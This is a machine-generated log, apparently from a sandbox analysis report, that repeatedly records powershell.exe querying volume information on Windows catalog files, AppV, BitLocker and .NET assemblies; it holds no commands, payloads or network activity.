Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
